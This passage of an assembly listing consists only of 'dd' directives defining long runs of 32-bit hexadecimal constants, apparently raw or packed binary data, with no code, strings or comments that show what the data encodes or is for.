6058B188h, 0CF043816h dd 63A60A4Ah, 1D10A0A4h, 441F97DFh, 828FCB17h, 0E450BA94h dd 4EB4695Dh, 8E2CD84Bh, 0E1AEECD8h, 183201FFh, 6290423Eh dd 5B002020h, 60418A41h, 0A1056D5Ah, 320699Ch, 0E14809BDh dd 64B2CDD9h, 0E041DC12h, 154B31B0h, 5888A050h, 0E0CDC4D4h dd 693D9E10h, 10EDAA98h, 5C315870h, 63837899h, 856F7C40h dd 0A67003Bh, 7C27715h, 89406EAh, 0A093710Ah, 1DA0DB01h dd 0B868AC58h, 44E88900h, 937C1A4Ch, 6B0318BEh, 9F94858h dd 95C13920h, 2887E08Bh, 0B0A8E0D2h, 891E88Ah, 90969090h dd 3DFD7B10h, 0BF382D0Eh, 884496EBh, 0CE09BE2Bh, 0D23DDC85h dd 0B0F0612Ch, 0BC007E4Eh, 19E45DC0h, 0F26A7E03h, 78249ED3h dd 2C4AAA58h, 0C536E000h, 74430EF7h, 0A064006Eh, 0F8D12616h dd 5958170Fh, 84B71834h, 9145D0A0h, 50012D2Ch, 0E0C6EADBh dd 954ABE58h, 9AC284C4h, 0C2A4DAF1h, 501D738h, 0C46B8103h dd 58C2A0BDh, 9C80AE16h, 4203B661h, 0A81C44F8h, 81FA2C73h dd 24202F6Bh, 0C688328h, 17A93210h, 1C31DC89h, 80052CB0h dd 0FB5D18Ch, 1614BF3Eh, 0D4908F72h, 29520Eh, 60C0681Bh dd 0A432857h, 719D6F2h, 3A289F61h, 0B279B2D4h, 28E201E8h dd 0DE42E89h, 0AAB443C2h, 60FF6899h, 6C04364Fh, 79B59CE0h dd 9049BC80h, 80E501FEh, 0AD612237h, 0E2489ED2h, 0FD02C817h dd 9614FF08h, 0C280AAE8h, 0D78C10D0h, 81427415h, 0A848F6A0h dd 0F1182809h, 0CB7091D9h, 57303B3Eh, 4E58338Fh, 70133129h dd 5848DDC2h, 3C783D49h, 20178133h, 4CF7C8D7h, 68FA00E8h dd 0BF3A5935h, 4A776DB5h, 39897103h, 8FB6747Dh, 58AE5DC0h dd 81240CECh, 197896CEh, 0ED4C109Dh, 69022CDEh, 0B27F0334h dd 0E3E3185Bh, 30FE32D3h, 3577E3Eh, 7740CDE0h, 6AE0276Ch dd 0EF0368C5h, 471E40h, 6A5A9A20h, 0CDD088BEh, 2BA80BCh dd 4262E370h, 19144005h, 44C0009h, 6D4EA74h, 0A60060D8h dd 8FBE46C2h, 243D6A05h, 280396Bh, 957B0C1Eh, 827F0D0h dd 0F6480275h, 4FC09035h, 245812FEh, 0A0900B33h, 0A5B9F022h dd 70E03848h, 54666212h, 0A0E1E00Eh, 4E610C0Fh, 5588A2A1h dd 0B7A00493h, 58600962h, 73D5E510h, 728705Bh, 2E80851h dd 0E5913477h, 0B87C206Ch, 0E550BB00h, 0B2F64AF5h, 90F013E9h dd 0C05C1E5Ah, 247B189Ch, 75497F58h, 73606A8h, 9EC8D6F4h dd 6126857Ch, 441C903Ah, 30008CC0h, 78D5D711h, 2F5869C5h dd 0B8A36584h, 4BEA6B24h, 444CA058h, 4CB618D0h, 39D10920h dd 0B48E55BFh, 40E319ADh, 0E0005C48h, 41D33D6Dh, 88BD0Ah dd 1AEFFCAh, 64D0ED2Eh, 7F31C904h, 54B008B4h, 3287013Dh dd 886FC079h, 60CEC56h, 9C9770Bh, 790709A8h, 82EE0844h dd 636F590Eh, 0E409ECF4h, 0C088C8B5h, 0B1130BCCh, 0DC09FC33h dd 440CBE0Bh, 97810FA8h, 1C143h, 4A87E828h, 549234EAh dd 0A12054B0h, 0E1250FA3h, 28F8B258h, 718DE0Eh, 8F88FC7Bh dd 9B1D006Ch, 28A2B63Dh, 922DE75Eh, 3E70042Ch, 1CC84652h dd 444A113Dh, 79055022h, 9B610238h, 0B6C09F33h, 0E8BC3228h dd 0AE2A9060h, 556400CFh, 2D22A070h, 0AB4F58EFh, 10C0B810h dd 706D17h, 19A80CAAh, 87B7DB04h, 1B689016h, 26BD1808h dd 38321A48h, 47C2E04Bh, 0E809C45Ch, 0F88BD746h, 2B90B0CBh dd 60FEDA63h, 0B9605364h dd 818980FCh, 0A02024F0h, 9AD62D61h, 867BD405h, 7C80E00Ch dd 0D9003A93h, 0A16C22BFh, 0B0829843h, 0EE6A05ACh, 0F7267E62h dd 493B27A8h, 4F2FCCCh, 9994C1A4h, 45500137h, 3B134EC8h dd 6B12782Ch, 0E074B03Bh, 4C20A017h, 913D14A4h, 0F5EE8808h dd 52D7C402h, 0F040C66Bh, 0D4B31279h, 831C9226h, 224AC4F8h dd 198254F1h, 0DA676125h, 0C26B6056h, 9C5CC030h, 9C818277h dd 7460BF87h, 4080A848h, 80E86FA1h, 0B835D09h, 1000D3E2h dd 497CCF69h, 25E1B633h, 0C0E47354h, 50DAB502h, 0F0A56256h dd 0FDA70748h, 0ED205Dh, 889E05F4h, 44181527h, 0BB081614h dd 0CB08C862h, 2C81D40Fh, 18E5DCA5h, 0E6684F30h, 0D8C9E19h dd 40398708h, 0E8CCB76Ch, 962B2100h, 0A8B87DCFh, 0A7D100AAh dd 25084FF9h, 23604A07h, 1980CF30h, 0B73E0061h, 0D443B970h dd 4C927540h, 0DD679912h, 607B94A3h, 2E7F39FCh, 8900A10Ah dd 8017E335h, 4594D42h, 9207E881h, 8DEE1D27h, 893C5B00h dd 6A4A2Dh, 5FA85AF5h, 51084DEFh, 60618FF1h, 0F0458741h dd 0E41E01F1h, 4D5881CCh, 344A90F2h, 18D0F944h, 0D598429Bh dd 40382458h, 0C40A890h, 5C0F613Ch, 1225BF30h, 34E0C621h dd 0AC10585Fh, 61678418h, 63C8F207h, 11597F08h, 0B0BF8294h dd 0C40C4636h, 0F6D0C0h, 0D25AC385h, 0D92204D5h, 97025898h dd 80F07454h, 0BFA2B9F9h, 0C15CACF8h, 0D4C74AF6h, 0D2C00682h dd 0CDF04B04h, 0E4443F3Ch, 0ACF967CDh, 5F78F3D2h, 0A7D49C01h dd 43A1205h, 0E246D014h, 4D0311B0h, 888F580Ch, 0C80E2470h dd 8005B748h, 0BF613D97h, 731C072h, 40AC35DAh, 4142500Ah dd 249F9CBAh, 55C001E0h, 0BC28E743h, 6B24710Ah, 94E4008h dd 0EC047578h, 84CC1463h, 90AD2FEFh, 775006D3h, 395090A2h dd 6300D09Ch, 0BF8EB2D8h, 3058EDA0h, 40392DFDh, 0DB3A22F5h dd 2890BC20h, 989608E8h, 49BEB83Dh, 8AA913D4h, 4EC09C88h dd 78A89D51h, 0B33E004Ch, 0DDEA97E4h, 0E9791DE6h, 52BF80D1h dd 72150AEFh, 28C6093Ch, 0D309088Ah, 74631B40h, 0B41D9600h dd 6E0B4924h, 0AAE786h, 0D1BFD576h, 4B760619h, 80CF9C08h dd 1E699000h, 0D6A3DC3Ch, 53505849h, 0A20B1616h, 4C24C84h dd 0D340DC24h, 9D3FE0E0h, 6C58E0A1h, 326074B2h, 160B05B8h dd 62CA0804h, 247440CCh, 2D6A8041h, 98272090h, 3FB4B944h dd 2D122069h, 7840B27Bh, 40435102h, 56C9628Dh, 9AF30F60h dd 866B520h, 9980953Ch, 0AA80446h, 0BC166122h, 144724A0h dd 0B7084383h, 0D7282996h, 58D100BCh, 463BF6F8h, 14335176h dd 0EB21C8BBh, 16EBB307h, 211D6981h, 2F7C0840h, 60250C92h dd 802B3240h, 0DF0B7FD0h, 2C4FB70h, 2408630h, 90F205F2h dd 22F37CA0h, 0D0504807h, 0EC43DD76h, 78E3E014h, 54F724E0h dd 28C91F94h, 0BCA2B5A8h, 20016E27h, 9B706362h, 0D00653FBh dd 0B247401Fh, 70D46B10h, 9309E038h, 0E8805FD0h, 40E40BA9h dd 1429D42Eh, 9910EC50h, 2577060Eh, 0F0095DF6h, 0A83CC84Eh dd 17C10109h, 1D035859h, 3BA4423Bh, 89E1D92Eh, 1FF838BEh dd 7CE60458h, 1EC04AFh, 62E380C0h, 0CC1A50F6h, 626D4B4Dh dd 6812044Ch, 0C4C93Ch, 749640D2h, 3DE97D9Ah, 0B1223509h dd 78780248h, 8E3F00AAh, 0A404328Ah, 0A5B42B37h, 0A84ABC80h dd 96DAF8AEh, 833342E0h, 47AD001h, 0FCF5620h, 2BEAF34Dh dd 79189400h, 0C0280A46h, 38CAEA62h, 5D2C20E5h, 0C957EF05h dd 1505409h, 1FF00896h, 80D4366Ah, 5870570Bh, 0C4142BA1h dd 139E4FF4h, 8A481F40h, 25303389h, 90BF4881h, 92EC4C25h dd 74D8244Ah, 0E2F82C99h, 0D17065C8h, 0C52E2D90h, 0E3E0306Fh dd 0D9C03650h, 8B0999ECh, 0A141C4E8h, 775D080Ch, 0A740B462h dd 0BDD41747h, 0C5CA396h, 70055840h, 898C0233h, 7813E62Ch dd 0B1E9CDC3h, 0C878747Bh, 3421BF4Fh, 88634089h, 0EC647325h dd 0A8964B3Eh, 0BC9E304Dh, 81B0D615h, 549EEF5Eh, 782F846Dh dd 0C120B4F8h, 0F8421709h, 0ACC4C47Fh, 7890A400h, 1328F74Ah dd 0B45C0A2Dh, 0E5FA2340h, 72588D12h, 91B8D482h, 122F28C8h dd 2E391FF8h, 5051288h, 0A759E854h, 5AE456A0h, 1C5E4CD1h dd 48E26820h, 345042A1h, 20B0A82Ah, 0F430FD60h, 450D0044h dd 7DD092Eh, 20D78EFDh, 589560C0h, 849E5A12h, 9FF4E944h dd 7100DFD3h, 6B8926A1h, 0D2E107DAh, 0B21C963Dh, 50F1C24Fh dd 8E59516h, 49134448h, 44D2AC2Ch, 5F863058h, 673DD340h dd 2614984h, 8A37887h, 0C87D217Dh, 50C05030h, 5D20C90h dd 0C658E680h, 0DAF84045h, 0BF8439D9h, 8C429A3Ah, 70ABF340h dd 55612BDh, 96ACD24Ah, 0F0AA3C7Eh, 2DC29912h, 1440B8F2h dd 0BA0A8892h, 84FE6226h, 14C01012h, 9F9A2976h, 71BDE78h dd 0E0C9F4ECh, 3E53AA69h, 8109914Bh, 80FDC494h, 0FA7F7258h dd 0B1E71E24h, 418F1FEDh, 0B6DB5FCAh, 1DD5D0EAh, 109D5506h dd 0E20DA8Dh, 0E08A354Bh, 322EDE80h, 9607B23Ch, 0D319CCB7h dd 54F95540h, 0A031F074h, 621A9408h, 8A1070ECh, 675B2480h dd 0DD2417ABh, 110025B0h, 88217825h, 6FA3004Ah, 7AAB57EDh dd 6785FF2h, 47FFFA00h, 6B6235D7h, 0C22300B6h, 4EB0730Bh dd 3776A210h, 1D300500h, 3FCC8E92h, 0EDA100AFh, 8D6EFCD1h dd 0BD0C0FACh, 806811A4h, 0D8B815DDh, 940030CEh, 8623AF97h dd 2771A110h, 8074713Bh, 576F9BFEh, 744CAB5Fh, 0A41315DAh dd 5D01B606h, 9F108796h, 998ECC61h, 54A24C05h, 9440C235h dd 0BCD24EFCh, 0A4B10D04h, 0C438A039h, 3800E6E9h, 891021B2h dd 16328BCh, 0D5B05526h, 522AF4A4h, 23034794h, 0B611A04Fh dd 58EC60E6h, 556F93F4h, 18AC9A56h, 2179E135h, 60A77C0Eh dd 0CF8EC0F4h, 3A7FCBE5h, 1E8F7103h, 901A8D9Fh, 3BDD8CCh dd 0C450FB0Dh, 4BC0B656h, 0B9989422h, 5FBE8880h, 484CFA33h dd 0C2AB91EFh, 0A479D0E3h, 25293335h, 43C16891h, 0BC8880F5h dd 0ED2D714Ch, 7CE90089h, 0B9C01D0Ch, 8D67975Dh, 2EC97B30h dd 0AAB68738h, 3BA4824Fh, 0B3D0A021h, 90FA4706h, 304F6FFAh dd 791ECA80h, 0D2D0A4DFh, 948704A4h, 30924928h, 985D1090h dd 0A698B62h, 9DF08667h, 93900011h, 0A4477C87h, 30C65979h dd 0E480BB5Fh, 0F4828077h, 9CB08350h, 78C1021h, 4079C38Eh dd 0B9BC6A11h, 9EB8DE03h, 289630A4h, 0D85790h, 0E7F1ACAh dd 63FCE08Bh, 0A1A460A0h, 8348E565h, 40C40C22h, 43F72B8h dd 25687FFAh, 13B500B7h, 63AE62FBh, 0B46918F2h, 0FC3B310Ah dd 0CC07204Ah, 0C4CA7F32h, 666F8B85h, 4A7C0800h, 48FB3513h dd 0FA319C6Eh, 85F6DA20h, 0AB7F5D08h, 8D182404h, 0C384EC83h dd 0C7F4B0F6h, 57621E44h, 0CCD280DDh, 0E091CE2Dh, 80FC8900h dd 0C592FB1Eh, 2411004Ch, 4741F5D9h, 5D02422Fh, 956BE88Dh dd 0CE206077h, 0B399049Ah, 90D190DDh, 0F3CA68BCh, 351F78C1h dd 0B0808EC9h, 76B6058h, 470EA434h, 0A5E4AEF1h, 0B000901Ch dd 0CC6EF48Fh, 0FA70A01Fh, 284F4C66h, 0D4045589h, 8A0014CCh dd 49F890D1h, 75B63813h, 67CAAC48h, 49FC0010h, 0B3D5C7AFh dd 19864C5Ch, 0BE58C354h, 3A27A030h, 0E71D4F88h, 863D4768h dd 0FE0BD272h, 1D90846Bh, 2B006CB3h, 3B2D23DCh, 0A813C79h dd 0D3DF6838h, 803E8AE8h, 0C8A41458h, 0D3C8CE8Ch, 28C2C43Ah dd 4C090C36h, 8CBB8601h, 991AF84Ch, 0BA5D4204h, 57678046h dd 10DA10A8h, 8DC05F00h dd 0C914D923h, 0B88A5510h, 0A48B82C4h, 5B023BCCh, 0FCACAA77h dd 1D05183Eh, 0FC8618h, 0CA30E661h, 252EC47Eh, 600FC024h dd 0A9CC3E8Ch, 3A131A1Fh, 0CB628804h, 69C1C482h, 0D2C2E900h dd 0D0E7155Fh, 106B84C9h, 12543508h, 0E2545E8Ah, 682B8506h dd 861920Ah, 3923940Fh, 0C584C080h, 0EED7763Fh, 57A530A8h dd 288A20D8h, 0C091109Bh, 646827C1h, 35A824DBh, 4FE4C84h dd 4C4C0848h, 1C406048h, 58C9808h, 93299FC1h, 8F1C8151h dd 0D0182173h, 80028DC2h, 0D2681503h, 94D445DDh, 0AC40E0B3h dd 9E552C1Eh, 42502220h, 29680CBEh, 31C41E0h, 0A613C507h dd 34C2617Ch, 0F54088Ah, 0EDEBC1BFh, 0F0A0E029h, 0CCDD6828h dd 87931C93h, 351CAC60h, 4CCC9A2Eh, 3224E424h, 40CC0764h dd 0E6F50010h, 5D4D7A94h, 84A502B4h, 437DDB12h, 0F26930E8h dd 0D42F8958h, 74641D28h, 33AD9418h, 1CCC238h, 8EE1141Bh dd 407A2EF4h, 0A61026A0h, 0EB4AF30Ah, 23CCC8Dh, 905C6E1Ch dd 0E462B8h, 0FA770608h, 0A4DB0C2Eh, 0D360FBD0h, 0A861FF16h dd 1CDF5400h, 12E0138Ch, 0F147Fh, 0C0D42CFCh, 90A0D8F0h dd 0B0E9895h, 0C05D0DDCh, 0AA070658h, 84BC0508h, 81447F4h dd 0C60F0FFCh, 1CE20020h, 17D9A650h, 64CAFB94h, 0B0C99Ch dd 68268AE4h, 9C31A328h, 24DCC248h, 8802B80Eh, 0E6D053E7h dd 0B83528B0h, 19A612EFh, 1100012Bh, 0FE8C991Dh, 0CE18A274h dd 60F96828h, 0ABB6388Bh, 2D041467h, 575E1D85h, 3E038D1h dd 605D0101h, 673A1B46h, 8EA40915h, 55988595h, 3EF51CC0h dd 27D8064Ch, 0E0855735h, 41343000h, 0CCF633CAh, 0A7661D11h dd 0D39454CDh, 1223E867h, 106A1774h, 0C9800443h, 0A4104C85h dd 0DD03351Eh, 0CD6168B6h, 1D2DA83Bh, 980985ACh, 0BB88001Dh dd 3ACCE956h, 1EFC1138h, 0D168ABF5h, 0FD34005Dh, 8EF1BACEh dd 0E910C259h, 0B8824B9Eh, 60004ED1h, 595A35A2h, 2058101Eh dd 7D156887h, 0DFDC0148h, 0D22100C0h, 252F054Ch, 4451A4DCh dd 89BF5D84h, 23C21A8h, 0A4C0DAB0h, 5040AB13h, 29ACA008h dd 0EC9FF6E7h, 0AFA417CEh, 9408431Ah, 280A7479h, 0E8E80CE7h dd 3D64A6h, 92956819h, 231918Dh, 94DFA150h, 98493C58h dd 927C28A8h, 3EA44803h, 5C107772h, 6882187Fh, 8CA05956h dd 173CEF38h, 4CFC5B00h, 0EC61B546h, 0E7097864h, 35110840h dd 0EC6C5875h, 2EC0F424h, 0C190E2D8h, 0E7919898h, 0D7104882h dd 0B25CE0A4h, 10908008h, 0DFA8002Bh, 0D13D17F3h, 6B3DE921h dd 78C430A2h, 0D1991D4h, 6220A4F9h, 0B871E838h, 9412BD79h dd 90412367h, 0E9E8C23Eh, 5030C321h, 463519D7h, 20FEA851h dd 26128298h, 8C248DE7h, 726870C0h, 34C182C0h, 0B30CD8D3h dd 14465416h, 0C3663800h, 14E705C1h, 0EC8713A4h, 62346526h dd 462A95Dh, 0D612A4C4h, 0F090DAC6h, 0B047081Dh, 98753040h dd 0CFA4C228h, 77C46954h, 2D8D3386h, 4000B548h, 6F38CBD5h dd 4889BBFh, 5DAC082Ch, 0E2888BCh, 14DAA42Ch, 0F4142A25h dd 82116886h, 6C7A58D0h, 4A80C032h, 0DD2D14A1h, 0D690517Fh dd 0F20254h, 0CC6DF490h, 0CB44205Ch, 0CA0C994Dh, 40631E01h dd 16785410h, 41BED8B1h, 8B0175DDh, 451020FCh, 58092439h dd 0D47E0000h, 0A4E8FD85h, 28F8612Fh, 0C910A22Bh, 66E17053h dd 82079498h, 904DDB7Ah, 8BD6A6Fh, 33A4D603h, 89380108h dd 0D111CFC8h, 35A5E414h, 0B9DE2432h, 891B1049h, 7E301300h dd 1CD47804h, 0F4700165h, 445486A1h, 7F83014h, 0CF2FF112h dd 8433D009h, 4C141D48h, 5203C318h, 6090BCDDh, 0B9836CECh dd 40628BF2h, 5876207Ch, 5BE85D79h, 0C4338E24h, 0D09CF1Fh dd 903CC135h, 3CB20844h, 9004D3C9h, 0A408B5FBh, 1387D860h dd 3DF868Eh, 0E6DE94DAh, 8A2496A0h, 8B086C5Eh, 7CA2021Dh dd 0D4017C22h, 2063144Ch, 644C0851h, 4C417F7Ch, 9076DCEFh dd 8E6812D4h, 19480128h, 84A25D35h, 6F9BF228h, 0CC306CD9h dd 46314C8h, 6A01DC4Dh, 68064612h, 0E8C8EAF5h, 0DA14AF11h dd 9D8E9Eh, 0A155A6BBh, 0A07F318Ch, 4CA0D590h, 9607ECCFh dd 0C51BCAD4h, 0F2BC810Ah, 819044ABh, 6072E0h, 98FC044Ch dd 4CD57845h, 0F702E0D0h, 22933690h, 0B880708Bh, 0E430FB95h dd 4D67BC02h, 310C635h, 0E0E844FCh, 800C2AEh, 0CC8D981Dh dd 13B729h, 625499EDh, 309E5D18h, 0DC5C333Ah, 34950218h dd 5855C421h, 0CA35024Ch, 7CA89391h, 0F7C12443h, 0C56081BFh dd 503646E1h, 2A84BAF8h, 1C41394h, 83EE093Ah, 334D1C68h dd 14D8258Ch, 2D8B0018h, 0C99D5DE7h, 0EA58C289h, 79FC83F0h dd 0C4190B59h, 5C89252Bh, 551B0460h, 1A8C9B27h, 8A80A60h dd 0C0BE2709h, 83645C4Ch, 777C5105h, 0FC06E2C2h, 183847B9h dd 886A8A23h, 0F7591335h, 818B2284h, 14130828h, 4CD603D4h dd 70B1C21Ch, 0EE8CA0E4h, 6CBA8879h, 4FDB0E07h, 92858AA8h dd 10080Fh, 3A9A2D36h, 0A8C22535h, 0BCB68C90h, 99E39E12h dd 97352481h, 27231682h, 4858B507h, 681ACC24h, 2D525D4Eh dd 0B0807484h, 30A4E079h, 9B20ED75h, 5249AD94h, 0A267CF0h dd 383CEC8Ah, 0DACE80A3h, 8D2DD66Eh, 0A83B002Bh, 0CB89971Eh dd 71006B1Ah, 0FAF2C8Fh, 5DF325BFh, 0FB80BC70h, 0B45EB750h dd 1DCB9B00h, 3582A738h, 0B052652Ch, 0BED8C224h, 2B43B080h dd 0A6044F21h, 347AFBE0h, 0F1C34283h, 0D021F213h, 270F4E0h dd 0F5D86120h, 88C09439h, 1400D71Bh, 0DE19CCCBh, 329BD1Fh dd 8B18687Ch, 0BC0194h, 26286CD2h, 2389000Eh, 0C8E77DFCh dd 647AC09Fh, 69E491h, 0A033FB74h, 52D4A05Fh, 68C92023h dd 7DA33518h, 47C2C0h, 0A41E9FB4h, 0F7ACC509h, 80066401h dd 30D54CDh, 9468E0DAh, 581060FDh, 39C5F1DDh, 0D1A910Fh dd 0A3896F99h, 0F0144E02h, 90CED5ADh, 44D3016Ch, 8A0B761Eh dd 8B4028A3h, 693800DFh, 18CC93B8h, 0B1143594h, 0F37D22C3h dd 3126137Ah, 5F856483h, 44805B11h, 262F8E17h, 0C0741CD7h dd 916DA447h, 608AF8A1h, 0D0BAEBCCh, 1D30CE00h, 4CBCB5C0h dd 0ED2D1F7Ah, 0BBE0A85h, 16A4410Ch, 89408A8Dh, 3504A48Eh dd 5C058AD1h, 0D9F4D25Fh, 92A658E1h, 0F7F88728h, 84B8350Ch dd 63D2F28h, 82D8B7Fh, 1A7009ADh, 32A4C6A8h, 90C84F5Bh dd 1426DC7Bh, 0A1493401h, 38E0D51Bh, 2507728h, 0A4558EE0h dd 0ACC9430Fh, 40D031A5h, 0F5D147F3h, 0A4128B73h, 0C8402C5Ah dd 0E0092BBDh, 0B5903926h, 52EF9412h, 494D5DCh, 16249E9Ch dd 78520885h, 188DECCCh, 38A68394h, 6C0019DFh, 0EE323F2Dh dd 7D4BD58Bh, 18E7121Fh, 3948C883h, 8AFE820Eh, 90FACA06h dd 0B5FA80A8h, 4A941D0Ch, 31050B0h, 277091ADh, 0FFF05D17h dd 45000204h, 9D1D0DC1h, 4AFDA48Dh, 1C28213Ch, 71D0FF90h dd 800290Ch, 608E889Ch, 1A4671Ah, 2CAD798Ah, 8BA63E68h dd 800FBE90h, 0FDA11CF4h, 34C1ADAh, 4D39822h, 68054CA6h dd 6C872928h, 0D9546673h, 3060F876h, 0C58C124Eh, 0BF7C918Fh dd 0ABCC00E5h, 0C018C95Bh, 34F2E469h, 0E24D136Ch, 5F245074h dd 0C48B9709h, 62889FAh, 3E317FB0h, 3D0BE021h, 0C04450FCh dd 18711D4Fh, 0EC348D94h, 481F7ADAh, 7AEC30h, 5508967Eh dd 0DED567BFh, 1B8E7A16h, 4EAA9700h, 0E8AF584h, 0B2F3816Eh dd 80965C87h, 677ADD4Ah, 85008EB8h, 0B133CB71h, 18E704B9h dd 200E8493h, 0D932C1E8h dd 154585Eh, 0D1459722h, 0AA46E04Ah, 0C7B51A07h, 0F14610DAh dd 938D0C68h, 7400181h, 87869728h, 5107960h, 3112F96Eh dd 0F0813143h, 7B58834Dh, 3A594B27h, 220D8D08h, 0D469716Eh dd 163CA3AAh, 82B58091h, 0CEF065FBh, 1C9401BDh, 8BD5A963h dd 3B78F0ECh, 0B80C0AF4h, 4056D6A3h, 67900CDDh, 1068DF27h dd 0D30CDC78h, 217E31CBh, 6EA214F3h, 53060860h, 785A1764h dd 0E34160Ch, 0A6C1188Dh, 4021379Ch, 5EE1A150h, 49D9D40Dh dd 0EC6E9A18h, 0C0FAF3B1h, 0F938950h, 85072292h, 8BB518DEh dd 0F13609F7h, 0BE5E0230h, 0D41FCB8Ah, 93E9F3C0h, 0C00AB02Ah dd 5ED19901h, 0AD15A312h, 0FBF08047h, 2CEF8C48h, 5C0F01h dd 0B34FF9AAh, 32F07953h, 0F89308A0h, 0D178A167h, 0C0E6633h dd 0F1203490h, 8248FDC8h, 1757000Ch, 0D03B1D62h, 0F32A30A3h dd 8A21F028h, 7FE43E00h, 9971461Bh, 5689028Fh, 19CBAA7Eh dd 0C9939890h, 0A7B06C60h, 1F2382B1h, 0CD9890Dh, 78183905h dd 165B9701h, 20BB4BAAh, 3FA6A20h, 34426ABAh, 480FD8F3h dd 6BD8F25h, 0E10EC5Fh, 5610D722h, 70C9AA26h, 0D9A60F09h dd 760C277Ah, 24F9F3C3h, 5C5C11h, 67645F65h, 6C9039E7h dd 83AFECA3h, 2805B1E3h, 0D36012CBh, 49FB8680h, 0EEBB2EEBh dd 0EF050C0Eh, 0E0C05248h, 0E85EF9C1h, 0A534181Bh, 588D9001h dd 0C788DC00h, 35BA7AA2h, 0DBA7064Fh, 0E86F3893h, 508E0F28h dd 0A465D800h, 2893D2B4h, 301C923Dh, 0C3980BAFh, 341F5EC9h dd 9697A5DCh, 8F20BA00h, 94E22B0h, 0BE5C15AAh, 5E093810h dd 3493F909h, 10AC2C75h, 8B313D2Dh, 0D4769Dh, 0BD0F7F32h dd 9C065AFCh, 0C56E3438h, 14F97340h, 28B85C4Eh, 0DF880F0Ch dd 0AB2434A9h, 0E0A80898h, 0AA5E560Eh, 6444922Ch, 9E003FB0h dd 2A4F65BBh, 0B90FA900h, 18CD21ADh, 0FFB72434h, 1B6C80A4h dd 0C6D1C564h, 4FFB9800h, 0F18DFA61h, 547431A3h, 23C38C48h dd 2F2B14A4h, 74B52488h, 0F94E0503h, 20B060FBh, 0C9601F8Eh dd 0C3A98A02h, 80176673h, 9146FAC0h, 2C9E16h, 0EC0A5728h dd 194DD7B7h, 0AC27C570h, 0FF1BFC40h, 7C7FC3AAh, 0C8D8302Ch dd 0D4222B19h, 0ACB9F624h, 0BF1C791Ch, 242A4BC0h, 1DF8D0Dh dd 0F93E712Dh, 30C5D17Eh, 0CC91D288h, 0D8733F8Dh, 48E8D818h dd 60128CC5h, 7C0059Fh, 9CA8159Dh, 0DC64FBC0h, 0F51EFAA7h dd 4C14274Bh, 8F150F08h, 0D96EA185h, 8C410120h, 0BBE0AAF1h dd 82380375h, 0A36DF38Eh, 50061FC3h, 94B49384h, 0CBD71570h dd 6229341Ch, 3C29A8h, 986A9C3Dh, 0F1D2FCBh, 7B465ACFh dd 0AC20C15Fh, 448C5064h, 14012493h, 86958040h, 0EE8E61FBh dd 0DEB1F02h, 69AD1234h, 0F9A3FC08h, 1025195Ch, 8FC42E6h dd 3F1ECB00h, 0C79BC8Ch, 0D338BE5Bh, 0CF702C90h, 7860BB80h dd 6F0F094Fh, 0D8A922B5h, 0E83BE00h, 0E91C5F42h, 1C383684h dd 177C248Bh, 7BFD531h, 30FAC1A2h, 0EC81DBC9h, 626046Eh dd 33281C89h, 0CB112010h, 0E2B86BCh, 0E581580Ch, 0F95690B2h dd 4EA8F8FDh, 1C597E79h, 1D01F1F5h, 3DC58138h, 80130222h dd 60C6260Ch, 0DEA29CCh, 1808E95Dh, 1E5FB52h, 42BB533Eh dd 0F740C438h, 0BDE9D30Ch, 84C42763h, 46C50500h, 0C80142ACh dd 5907A12Dh, 258502F5h, 5240487h, 33993E7Ah, 63ED382h dd 0D4AB189Ch, 16BBEBEh, 8131B613h, 0F711C5F6h, 5EF50180h dd 7FE9521Ch, 56CA866Ah, 10F45B8h, 58871E44h, 83D6148Bh dd 5930D8A6h, 1D0041BFh, 0E7817221h, 609175FBh, 6D090C4Bh dd 0C17C785Dh, 0F4E9030Ch, 5268525Bh, 0C17C4F5h, 26A80C24h dd 0C836E910h, 0FA86C750h, 2B1567FEh, 0CD548734h, 68951808h dd 272FAF2Ah, 7097E910h, 69D0BA05h, 743B80D5h, 371AD918h dd 19C8D331h, 56E5E922h, 6065FF03h, 12215807h, 5E55450h dd 0A22D0842h, 63C3A1Fh, 8BF8B683h, 4EFD8BC6h, 30F2779Bh dd 550E94CAh, 5D1906BDh, 1E3C7533h, 8704C210h, 0E75C9CCEh dd 887C02C6h, 438630E9h, 0AC68AD24h, 3C554A66h, 0F440281Ch dd 18B800C4h, 25596D54h, 673F2791h, 0B2D0063h, 2934F7E4h dd 4A580FC2h, 0D501EA87h, 566E85E9h, 8348B57Ah, 0CDB74593h dd 0A5D26E6h, 0BA844EE9h, 1539F18Ch, 330840F8h, 66BA2C65h dd 3B96DE21h, 22F8E90Ch, 9EC510D5h, 273587CCh, 61E1EEEBh dd 0CB290E8Eh, 0F7D0FC59h, 5D94DEDDh, 804221F5h, 7423A5B9h dd 0E91CC101h, 8FFD8102h, 4CF2069Eh, 546640CAh, 4389DF05h dd 0E8831DE0h, 0E986A1A4h, 338F67A6h, 2970D314h, 0BF574003h dd 356769Ah, 15FFA92h, 189581C2h, 570C0C0Bh, 0E9663B06h dd 3B3EDBDDh, 9B991001h, 53870EFBh, 0B636338Dh, 0F50D0631h dd 3D264532h, 2909A032h, 19C6D788h, 10712214h, 81EBD1h dd 4B4546F3h, 5BD88957h, 7B6BE924h, 532FB880h, 6250BBAh dd 61E269E3h, 527BEEC1h, 0BB38CF7Ch, 5AD08201h, 0C02DD8F7h dd 0A16DFF55h, 449380A2h, 0B0034966h, 116C5C02h, 0B05B9C0Ah dd 676861CAh, 0E0D24C4Dh, 0A03B52F2h, 0A98D40F7h, 7A02539Ah dd 0D2E9D089h, 0FDB3AF87h, 2C8B29A0h, 0C4DA829h, 95E3E945h dd 0E850C010h, 0C3E023DBh, 6852581Ah, 3E03AD02h, 0C6037A60h dd 4728A559h, 4305D003h, 0E1CA75E8h, 188F24A3h, 159EEDC1h dd 45269622h, 0D66903DBh, 0AE1A49Ah, 0D9AD3421h, 304CE6EEh dd 5366A0CCh, 59B10351h, 0D1F6C9FEh, 0E980040Eh, 5F16225h dd 285D4088h, 5B6637DEh, 7F3BE308h, 77C44B61h, 0B1EC6AB6h dd 99E59137h, 23884454h, 68510557h, 598D77ABh, 1F4D9FE0h dd 895B5592h, 0B0181663h, 2CB010BEh, 0C1462F04h, 0F4C007E6h dd 9B21A04h, 5EF301A4h, 39E9EF30h, 0AF11D4Dh, 0EE1C8BDEh dd 44FD9A52h, 48A13444h, 211BC373h, 40E12DCDh, 895206C6h dd 0D658E275h, 5DF3816Eh, 4888EA4Fh, 0A43A6413h, 0ECA46B62h dd 0AAEDB25Bh, 8990A140h, 0D141E90Ch, 0C8003036h, 87B65259h dd 0E678E680h, 6170BFC6h, 81A824EFh, 3F6EF07h, 8EC3315Fh dd 68180DDCh, 